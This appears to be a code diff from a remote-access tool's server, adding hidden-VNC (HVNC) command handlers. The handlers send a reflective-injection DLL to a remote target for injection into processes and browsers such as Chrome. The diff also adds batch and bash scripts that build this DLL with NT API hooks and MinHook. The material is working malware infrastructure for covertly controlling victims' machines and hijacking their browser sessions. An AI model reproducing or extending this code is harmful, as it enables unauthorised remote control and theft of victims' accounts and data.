import { v4 as uuidv4 } from "uuid";
import { existsSync, readFileSync } from "fs";
import path from "path";
import * as clientManager from "../clientManager";
import { logger } from "../logger";
import { metrics } from "../metrics";
@@ -9,6 +11,23 @@ import * as sessionManager from "../sessions/sessionManager";
import type { ConsoleSession, RemoteDesktopViewer, SocketData } from "../sessions/types";
import type { ClientInfo } from "../types";
// Cache the injection DLL bytes so we read the file only once.
// Sent as raw binary via msgpack — no base64 needed.
let _cachedInjectionDll: Uint8Array | null = null;
let _dllCacheChecked = false;
function getInjectionDllBytes(): Uint8Array | null {
if (_dllCacheChecked) return _cachedInjectionDll;
_dllCacheChecked = true;
const dllPath = path.resolve(import.meta.dir, "../../dist-clients/HVNCInjection.x64.dll");
if (existsSync(dllPath)) {
_cachedInjectionDll = new Uint8Array(readFileSync(dllPath));
logger.info(`[hvnc] loaded injection DLL from ${dllPath} (${_cachedInjectionDll.length} bytes)`);
} else {
logger.warn(`[hvnc] injection DLL not found at ${dllPath}`);
}
return _cachedInjectionDll;
}
function decodeViewerPayload(raw: string | ArrayBuffer | Uint8Array): any | null {
if (typeof raw === "string") {
try {
@@ -581,6 +600,46 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
case "hvnc_start_process":
sendHVNCCommand(target, "hvnc_start_process", { path: String(payload.path || "") });
break;
case "hvnc_start_process_injected": {
const dllData = getInjectionDllBytes();
if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_process_injected");
break;
}
sendHVNCCommand(target, "hvnc_start_process_injected", {
path: String(payload.path || ""),
search_path: String(payload.search_path || ""),
replace_path: String(payload.replace_path || ""),
dll: dllData,
});
break;
}
case "hvnc_start_chrome_injected": {
const dllData = getInjectionDllBytes();
if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_chrome_injected");
break;
}
sendHVNCCommand(target, "hvnc_start_chrome_injected", {
path: String(payload.path || ""),
dll: dllData,
});
break;
}
case "hvnc_start_browser_injected": {
const dllData = getInjectionDllBytes();
if (!dllData) {
logger.warn("[hvnc] injection DLL not available, cannot send hvnc_start_browser_injected");
break;
}
sendHVNCCommand(target, "hvnc_start_browser_injected", {
browser: String(payload.browser || ""),
path: String(payload.path || ""),
clone: payload.clone !== false,
dll: dllData,
});
break;
}
default:
break;
}
+71
View File
@@ -0,0 +1,71 @@
@echo off
setlocal
REM Build HVNCInjection DLL for Windows x64 using Visual Studio (cl.exe)
REM Run from VS Developer Command Prompt, or let the script detect vcvarsall.
set ROOT=%~dp0
set SRC_DIR=%ROOT%HVNCInjection\src
set OUT_DIR=%ROOT%Overlord-Server\dist-clients
REM Try to set up MSVC environment if cl.exe is not available
where cl.exe >nul 2>&1
if %ERRORLEVEL% neq 0 (
echo cl.exe not found, searching for Visual Studio ...
set "FOUND_VS="
for /f "usebackq tokens=*" %%i in (`"%ProgramFiles(x86)%\Microsoft Visual Studio\Installer\vswhere.exe" -latest -products * -requires Microsoft.VisualStudio.Component.VC.Tools.x86.x64 -property installationPath 2^>nul`) do (
set "VS_PATH=%%i"
set "FOUND_VS=1"
)
if not defined FOUND_VS (
echo ERROR: Visual Studio with C++ tools not found.
echo Please run this from a VS Developer Command Prompt.
exit /b 1
)
echo Found VS at: %VS_PATH%
call "%VS_PATH%\VC\Auxiliary\Build\vcvarsall.bat" x64
)
if not exist "%OUT_DIR%" mkdir "%OUT_DIR%"
set DEFS=/DWIN64 /DNDEBUG /D_WINDOWS /D_USRDLL /DHVNCInjection_EXPORTS /DWIN_X64
set DEFS=%DEFS% /DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
set DEFS=%DEFS% /DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
set CFLAGS=/O2 /Oi /GL /MT /GS- /W3 /TC %DEFS% /I "%SRC_DIR%"
echo Compiling ReflectiveLoader.c ...
cl.exe /c %CFLAGS% /Fo"%SRC_DIR%\ReflectiveLoader.obj" "%SRC_DIR%\ReflectiveLoader.c"
if %ERRORLEVEL% neq 0 goto :error
echo Compiling ReflectiveDll.c ...
cl.exe /c %CFLAGS% /TP /Fo"%SRC_DIR%\ReflectiveDll.obj" "%SRC_DIR%\ReflectiveDll.c"
if %ERRORLEVEL% neq 0 goto :error
echo Compiling NtApiHooks.c ...
cl.exe /c %CFLAGS% /TP /Fo"%SRC_DIR%\NtApiHooks.obj" "%SRC_DIR%\NtApiHooks.c"
if %ERRORLEVEL% neq 0 goto :error
echo Linking HVNCInjection.x64.dll ...
link.exe /DLL /OUT:"%OUT_DIR%\HVNCInjection.x64.dll" ^
/SUBSYSTEM:WINDOWS /OPT:REF /OPT:ICF /MACHINE:X64 ^
/LIBPATH:"%SRC_DIR%" ^
"%SRC_DIR%\ReflectiveLoader.obj" ^
"%SRC_DIR%\ReflectiveDll.obj" ^
"%SRC_DIR%\NtApiHooks.obj" ^
libMinHook.x64.lib kernel32.lib user32.lib advapi32.lib ntdll.lib
if %ERRORLEVEL% neq 0 goto :error
echo.
echo Built: %OUT_DIR%\HVNCInjection.x64.dll
dir "%OUT_DIR%\HVNCInjection.x64.dll"
REM Clean up
del /q "%SRC_DIR%\*.obj" 2>nul
echo Done.
exit /b 0
:error
echo.
echo BUILD FAILED
exit /b 1
+103
View File
@@ -0,0 +1,103 @@
#!/usr/bin/env bash
# Build HVNCInjection DLL for Windows x64 using MinGW cross-compiler.
# Run from the repository root or from Docker.
#
# Requirements:
# - x86_64-w64-mingw32-gcc
# - MinHook source files in HVNCInjection/src/minhook/ (see below)
#
# MinHook setup:
# The project needs MinHook source compiled from scratch for MinGW.
# 1) Clone https://github.com/TsudaKageworked/minhook (BSD-2 license)
# 2) Copy src/buffer.c, src/buffer.h, src/trampoline.c, src/trampoline.h,
# src/hde/hde64.c, src/hde/hde64.h, src/hde/hde32.c, src/hde/hde32.h,
# src/hde/table64.h, src/hde/table32.h, include/MinHook.h
# into HVNCInjection/src/minhook/
# 3) Run this script.
#
# If MinHook source is not available, you can pre-build the DLL with MSVC
# on Windows using build-hvnc-dll.bat and place the output at:
# Overlord-Server/dist-clients/HVNCInjection.x64.dll
set -euo pipefail
cd "$(dirname "$0")"
CC="${CC:-x86_64-w64-mingw32-gcc}"
SRC_DIR="${HVNC_SRC_DIR:-HVNCInjection/src}"
OUT_DIR="${HVNC_OUT_DIR:-Overlord-Server/dist-clients}"
DLL_NAME="HVNCInjection.x64.dll"
mkdir -p "$OUT_DIR"
MINHOOK_DIR="$SRC_DIR/minhook"
if [ ! -d "$MINHOOK_DIR" ]; then
echo "WARNING: MinHook source not found at $MINHOOK_DIR"
echo "Attempting to use pre-compiled libMinHook.x64.lib ..."
echo "(This may fail with MinGW. Build with MSVC on Windows instead.)"
MINHOOK_OBJS=""
MINHOOK_LIB="$SRC_DIR/libMinHook.x64.lib"
MINHOOK_INC=""
else
echo "Building MinHook from source ..."
MINHOOK_OBJS=""
MINHOOK_LIB=""
MINHOOK_INC="-I$MINHOOK_DIR"
for src in "$MINHOOK_DIR"/buffer.c "$MINHOOK_DIR"/trampoline.c \
"$MINHOOK_DIR"/hde/hde64.c "$MINHOOK_DIR"/hde/hde32.c; do
if [ -f "$src" ]; then
obj="${src%.c}.o"
$CC -c -O2 -DWIN64 -D_WIN64 $MINHOOK_INC -o "$obj" "$src"
MINHOOK_OBJS="$MINHOOK_OBJS $obj"
fi
done
# Compile MinHook.c if it exists, or the individual components
if [ -f "$MINHOOK_DIR/MinHook.c" ]; then
$CC -c -O2 -DWIN64 -D_WIN64 $MINHOOK_INC -o "$MINHOOK_DIR/MinHook.o" "$MINHOOK_DIR/MinHook.c"
MINHOOK_OBJS="$MINHOOK_OBJS $MINHOOK_DIR/MinHook.o"
fi
fi
CFLAGS="-O2 -DWIN64 -D_WIN64 -DNDEBUG -D_WINDOWS -D_USRDLL"
CFLAGS="$CFLAGS -DHVNCInjection_EXPORTS -DWIN_X64"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR"
CFLAGS="$CFLAGS -DREFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN"
CFLAGS="$CFLAGS -I$SRC_DIR"
if [ -n "${MINHOOK_INC:-}" ]; then
CFLAGS="$CFLAGS $MINHOOK_INC"
fi
echo "Compiling ReflectiveLoader.c ..."
$CC -c $CFLAGS -o "$SRC_DIR/ReflectiveLoader.o" "$SRC_DIR/ReflectiveLoader.c"
echo "Compiling ReflectiveDll.c ..."
$CC -c $CFLAGS -o "$SRC_DIR/ReflectiveDll.o" "$SRC_DIR/ReflectiveDll.c"
echo "Compiling NtApiHooks.c ..."
$CC -c $CFLAGS -include "$SRC_DIR/seh_compat.h" -o "$SRC_DIR/NtApiHooks.o" "$SRC_DIR/NtApiHooks.c"
echo "Linking $DLL_NAME ..."
LINK_OBJS="$SRC_DIR/ReflectiveLoader.o $SRC_DIR/ReflectiveDll.o $SRC_DIR/NtApiHooks.o"
if [ -n "${MINHOOK_OBJS:-}" ]; then
LINK_OBJS="$LINK_OBJS $MINHOOK_OBJS"
fi
LINK_LIBS="-lkernel32 -luser32 -ladvapi32 -lntdll"
if [ -n "${MINHOOK_LIB:-}" ] && [ -f "${MINHOOK_LIB}" ]; then
LINK_LIBS="$LINK_LIBS $MINHOOK_LIB"
fi
$CC -shared -o "$OUT_DIR/$DLL_NAME" $LINK_OBJS $LINK_LIBS \
-Wl,--no-seh -s
echo "Built: $OUT_DIR/$DLL_NAME"
ls -la "$OUT_DIR/$DLL_NAME"
# Clean up object files
rm -f "$SRC_DIR"/*.o
if [ -d "$MINHOOK_DIR" ]; then
find "$MINHOOK_DIR" -name '*.o' -delete
fi
echo "Done."